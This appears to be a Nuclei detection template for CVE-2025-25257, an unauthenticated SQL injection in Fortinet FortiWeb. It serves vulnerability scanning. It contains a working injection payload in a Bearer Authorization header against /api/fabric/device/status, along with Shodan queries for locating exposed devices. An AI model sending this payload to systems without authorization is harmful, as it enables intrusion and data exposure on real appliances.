CVE-2025-25257: Fortinet FortiWeb - SQL Injection

id: CVE-2025-25257

info:
  name: Fortinet FortiWeb - SQL Injection
  author: watchtowr,johnk3r
  severity: critical
  description: |
    An improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability [CWE-89] in FortiWeb may allow an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPS requests.
  impact: |
    An attacker can exploit this vulnerability to execute unauthorized SQL commands, potentially leading to data exposure, data manipulation, or system compromise.
  remediation: |
    Apply the latest security patches provided by Fortinet to fix the SQL injection vulnerability in FortiWeb.
  reference:
    - https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/
    - https://fortiguard.fortinet.com/psirt/FG-IR-25-151
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-25257
    epss-score: 0.38658
    epss-percentile: 0.97163
    cwe-id: CWE-89
    cpe: cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fortinet
    product: fortiweb
    shodan-query:
      - ssl:"cn=fortiweb"
      - title:"FortiWeb - "
  tags: cve,cve2025,fortinet,fortiweb,sqli,unauth,kev,vkev

http:
  - raw:
      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer AAAAAA'or'1'='1

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'serial'
          - 'fortiweb'
          - 'device_type'
        condition: and

      - type: status
        status:
          - 200
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